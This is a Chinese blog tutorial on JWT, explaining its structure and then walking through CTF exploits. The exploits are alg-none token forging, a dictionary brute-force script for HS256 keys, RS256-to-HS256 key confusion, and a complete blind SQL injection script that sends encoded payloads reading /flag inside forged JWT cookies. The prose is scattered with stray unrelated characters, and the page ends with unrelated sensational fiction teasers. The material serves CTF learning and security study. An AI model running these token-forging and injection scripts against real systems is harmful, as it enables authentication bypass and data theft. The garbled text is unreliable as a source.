JWT 學習

前言

在實際測試網站時多次遇到JWT認證宜鸯,趕緊把這塊知識點通過CTF題目的方式補上。

JWT 定義

JWT 全稱是Json Web Token姊途,由服務端用加密算法對信息簽名來保證其完整性和不可偽造作谭。
Token里可以包含所有必要信息厘线,這樣服務端就無需保存任何關于用戶或會話的信息,JWT可用于身份認證、會話狀態(tài)維持叠萍、信息交換等芝发。特別適用于分布式站點的單點登錄(SSO)場景。

  • 優(yōu)點
  1. JWT可以進行跨語言支持的苛谷,如JAVA辅鲸,JavaScript,NodeJS腹殿,PHP等很多語言都可以使用独悴;
  2. JWT可以在自身存儲一些其他業(yè)務邏輯所必要的非敏感信息;
  3. JWT結構簡單锣尉,字節(jié)占用很小刻炒,便于傳輸;
  4. JWT不需要在服務端保存會話信息自沧,易于應用的擴展坟奥;
  • 缺點
  1. JWT包含認證信息,因此一旦信息泄露暂幼,任何人都可以獲得令牌的所有權限筏勒;
  2. JWT不建議使用HTTP協(xié)議來傳輸代碼,而是使用加密的HTTPS協(xié)議進行傳輸旺嬉;
  3. 由于服務器不保存session狀態(tài)管行,

JWT 結構

JWT是一個很長的字符串,包含頭部邪媳、載荷捐顷、簽名,中間用.分割為三個部分雨效,即

Header.Payload.Signature

下面分別學習每個部分:

  • Header
    Header部分是一個JSON 對象迅涮。
{
  "alg": "HS256",
  "typ": "JWT"
}

alg表示簽名的算法,默認HS256徽龟;
type表示令牌的類型叮姑;
最后將Header部分的JSON 對象使用Base64URL算法轉成字符串。

  • Payload
    Payload部分也是一個JSON 對象据悔。
    這部分有7個字段传透,分別是
iss (issuer):JWT的發(fā)行者
exp (expiration time):過期時間
sub (subject):JWT面向的主題
aud (audience):JWT的用戶
nbf (Not Before):生效時間
iat (Issued At):簽發(fā)時間
jti (JWT ID):JWT唯一標識

除此以外,也可以自定義字段极颓。如:

{
  "sub": "123456789",
  "name": "cseroad",
  "admin": true
}

最后同樣將該json對象使用Base64URL算法轉成字符串朱盐。

  • Signature
    Signature 部分是對前兩部分的簽名,防止數據被篡改菠隆。
    首先需要一個服務器端的秘鑰secretkey兵琳。然后狂秘,使用Header里面指定的簽名算法(HS256(HMAC SHA256),按照公式產生簽名躯肌。

公式如下:

data = base64urlEncode(header) + "." + base64urlEncode(payload)
signature = HMAC-SHA256(data,secretkey)

算法

  • Base64URL算法是base64的修改版者春,是為了方便在web中傳輸使用了不同的編碼表,不會在末尾填充=號羡榴,并將+和/分別改為-和_
  • HMAC算法是密鑰相關的哈希運算消息認證碼(Hash-based Message Authentication Code)的縮寫碧查,它是一種對稱加密算法,使用相同的密鑰對傳輸信息進行加解密校仑。
  • RSA算法則是一種非對稱加密算法忠售,使用私鑰加密明文,公鑰解密密文迄沫。
    在HMAC和RSA算法中稻扬,都是使用私鑰對signature字段進行簽名,只有拿到了加密時使用的私鑰羊瘩,才有可能偽造token泰佳。

JWT 漏洞

空密碼算法

docker實驗環(huán)境:

docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token

登錄失敗后,會返回正確賬戶密碼尘吗。再次登錄逝她,cookie里token就是JWT。
解碼一下睬捶。在線解碼地址:https://jwt.io/

image.png

將用戶修改為admin黔宛,并且將alg的值改為none,借助python2的pyjwt庫擒贸,該庫pip直接install安裝即可臀晃。python3也可以正常運行。

import jwt
payload = {"auth":1612336103120,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0","role":"admin","iat":1612336103}
print(jwt.encode(payload,None,algorithm="none"))
image.png

替換新的JWT介劫,再次請求徽惋。

image.png

成功登錄admin用戶。

JWT爆破

題目來自:https://2019shell1.picoctf.com/problem/32267/
當alg指定了加密算法時座韵,可以進行針對key的暴力破解险绘。
python2 編寫的爆破腳本:

# !/usr/bin/env python2
# -*- coding: utf-8 -*-
import jwt
import sys

def burp_jwt(jwt_json,dicts):
    with open(dicts) as f:
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    if(len(sys.argv) == 3):
        print('User: please burp_jwt.py jwt_json dict.txt')
        jwt_json = sys.argv[1]
        dicts = sys.argv[2]
        burp_jwt(jwt_json,dicts)
    else:
        print('User: please please burp_jwt.py jwt_json dict.txt')

準備好dict.txt爆破字典,運行命令如下:

python burp_jwt.py jwt_json dict.txt
image.png

爆破出key值為ilovepico誉碴。
再通過用戶修改為admin宦棺,偽造jwt。

import jwt

payload = {
    "user":"admin"
}
key = 'ilovepico'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256')
print(encoded_jwt)

計算出admin用戶的jwt值翔烁。獲取flag渺氧。

image.png

也可以利用c-jwt-cracker進行爆破旨涝。
git 該項目蹬屹。docker 來破解jwt侣背。

docker build . -t jwtcrack
docker run -it --rm  jwtcrack jwt_json 
image.png

修改RSA加密算法為HMAC

我們知道RSA是非對稱加密算法,使用私鑰secretkey加密慨默,使用本地的public.key解密贩耐。而HMAC是對稱加密算法。如果服務端期待收到的算法為RS256厦取,而實際上收到的算法是HS256潮太,那么服務端就可能嘗試把public當作私鑰secretkey,然后用HS256算法解密驗證JWT虾攻。
題目來自:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php
訪問就知道是JWT铡买,且使用RS256算法。

image.png

通過掃描目錄獲取RSA的公鑰public.pem霎箍。

image.png

下載后奇钞,運行該代碼

#python2
import jwt
public = open('public.pem', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

如果運行腳本報錯。需要注釋algorithms.py文件的第150行漂坏。

image.png

再次運行獲得admin用戶的JWT值景埃。

image.png

send JWT即為admin用戶。

image.png

sql注入

題目來自:2020 網鼎杯 玄武組 js_on顶别,可以去ctfhub平臺在線練習谷徙。

image.png

就看到一個登錄框,測試弱口令admin/admin驯绎,登錄獲得key值完慧。

image.png

抓取數據包可以看到使用JWT認證。

image.png

解密JWT

image.png

利用腳本添加key条篷,修改payload部分骗随,計算JWT

import jwt

payload = {
"user": "admin",
"news": "Hello"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

得到新的JWT值。

image.png

判斷user參數是否存在sql注入
添加單引號赴叹,再編碼得到JWT值鸿染,再發(fā)包。"user": "admin'"

image.png

判斷sql注入的注入類型乞巧。"user": "admin' and 1=1#"

image.png

好像有過濾涨椒。
使用注釋符/**/進行繞過。
"user": "admin'/**/and/**/1=1#"

image.png

"user": "admin'/**/and/**/1=2#"

image.png

判斷為盲注绽媒。
下面就可以直接通過load_file函數讀取跟目錄下的flag值蚕冬。
最常用的方法就是通過二分法讀取。
在讀取之前首先要對注入語句進行處理是辕。

  • 關鍵字之間添加<a>
  • 空格使用注釋符/**/繞過

所以一個簡單的payload就有了

admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),1,1))>32#

通過mid函數一位一位分割囤热,并通過ascii碼計算判斷在哪兩個數字之間。

image.png

結合程序來看获三,將payload部分進行加密旁蔼,賦值token锨苏,作為cookie進行get請求,通過返回包是否匹配到hello棺聊,判斷payload是否有效伞租。
首先嘗試獲取第一位flag字母的ascii值,最小ascii為32限佩,最大為127葵诈。
第一次運算,mid取32加127和的整數為79祟同,max取127作喘;第一位flag的ascii是否大于79,判斷大于晕城,所以mid最小值變?yōu)?79+127)/2=103徊都,最大值為127。判斷第一位flag的ascii小于103广辰,所以要把最大值賦值為103暇矫,最小值就變?yōu)?79+103)/2=91,依次循環(huán)择吊,直到計算出在某兩個相鄰數字之間货徙。

image.png

大于98儡率,小于100,只能是99。
以上就是利用二分法猜解出flag第一位的結果探膊。
外面再嵌套一個for循環(huán)望抽,遍歷第二位芥备、第三位稳懒、第四位......
完整代碼為

# coding=utf-8
import jwt
import requests
import re


key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-0ee2421b156baecb.sandbox.ctfhub.com:10080/index.php"
payloadTmpl = "admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"

def sql_jwt():
    result = ""
    for i in range(1,50):
        min = 31
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2
            payload = payloadTmpl.format(i,mid)
            print(payload)
            jwttoken = {
                "user": payload,
                "news": "hello"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode('utf-8')
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies)
            if re.findall("hello", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)

if __name__ == "__main__":
    sql_jwt()

最終獲得flag。

image.png

總結

拿不到key焕济,基本沒法弄纷妆。

參考資料

https://saucer-man.com/information_security/377.html
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
http://www.si1ent.xyz/2020/10/21/JWT%E5%AE%89%E5%85%A8%E4%B8%8E%E5%AE%9E%E6%88%98/
https://www.ghtwf01.cn/index.php/archives/1108/

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市晴弃,隨后出現的幾起案子掩幢,更是在濱河造成了極大的恐慌,老刑警劉巖上鞠,帶你破解...
    沈念sama閱讀 222,183評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件际邻,死亡現場離奇詭異,居然都是意外死亡芍阎,警方通過查閱死者的電腦和手機世曾,發(fā)現死者居然都...
    沈念sama閱讀 94,850評論 3 399
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來谴咸,“玉大人轮听,你說我怎么就攤上這事肿轨。” “怎么了蕊程?”我有些...
    開封第一講書人閱讀 168,766評論 0 361
  • 文/不壞的土叔 我叫張陵,是天一觀的道長驼唱。 經常有香客問我藻茂,道長,這世上最難降的妖魔是什么玫恳? 我笑而不...
    開封第一講書人閱讀 59,854評論 1 299
  • 正文 為了忘掉前任辨赐,我火速辦了婚禮,結果婚禮上京办,老公的妹妹穿的比我還像新娘掀序。我一直安慰自己,他們只是感情好惭婿,可當我...
    茶點故事閱讀 68,871評論 6 398
  • 文/花漫 我一把揭開白布不恭。 她就那樣靜靜地躺著,像睡著了一般财饥。 火紅的嫁衣襯著肌膚如雪换吧。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,457評論 1 311
  • 那天钥星,我揣著相機與錄音沾瓦,去河邊找鬼。 笑死谦炒,一個胖子當著我的面吹牛贯莺,可吹牛的內容都是我干的。 我是一名探鬼主播宁改,決...
    沈念sama閱讀 40,999評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼缕探,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了还蹲?” 一聲冷哼從身側響起撕蔼,我...
    開封第一講書人閱讀 39,914評論 0 277
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎秽誊,沒想到半個月后鲸沮,有當地人在樹林里發(fā)現了一具尸體,經...
    沈念sama閱讀 46,465評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡锅论,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 38,543評論 3 342
  • 正文 我和宋清朗相戀三年讼溺,在試婚紗的時候發(fā)現自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片最易。...
    茶點故事閱讀 40,675評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡怒坯,死狀恐怖炫狱,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情剔猿,我是刑警寧澤视译,帶...
    沈念sama閱讀 36,354評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站归敬,受9級特大地震影響酷含,放射性物質發(fā)生泄漏。R本人自食惡果不足惜汪茧,卻給世界環(huán)境...
    茶點故事閱讀 42,029評論 3 335
  • 文/蒙蒙 一椅亚、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧舱污,春花似錦呀舔、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至珠插,卻和暖如春省古,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背丧失。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評論 1 274
  • 我被黑心中介騙來泰國打工豺妓, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人布讹。 一個月前我還...
    沈念sama閱讀 49,091評論 3 378
  • 正文 我出身青樓琳拭,卻偏偏與公主長得像,于是被迫代替她去往敵國和親描验。 傳聞我的和親對象是個殘疾皇子白嘁,可洞房花燭夜當晚...
    茶點故事閱讀 45,685評論 2 360

推薦閱讀更多精彩內容

  • jwt是如何驗證的? jwt保存在客戶端膘流,每次請求時都將其放在header中絮缅,這樣服務器接收到請求后,取出jwt進...
    whynotybb閱讀 825評論 0 0
  • Linux多線程同步機制 - 信號量信號量函數定義如下:include int semctl(int sem_i...
    molscar閱讀 741評論 0 0
  • jwt呼股,全稱json-web-token.其安全問題一直以來眾所周知耕魄。CTF中也經常性的會出現相關的jwt偽造的題...
    byc_404閱讀 675評論 0 0
  • JWT 使用 前面簡單介紹了把默認的頁面登錄改為前后端分離的接口異步登錄的方法,可以幫我們實現基本的前后端分離登錄...
    郭藝賓閱讀 1,158評論 0 5
  • 久違的晴天彭谁,家長會吸奴。 家長大會開好到教室時,離放學已經沒多少時間了。班主任說已經安排了三個家長分享經驗则奥。 放學鈴聲...
    飄雪兒5閱讀 7,528評論 16 22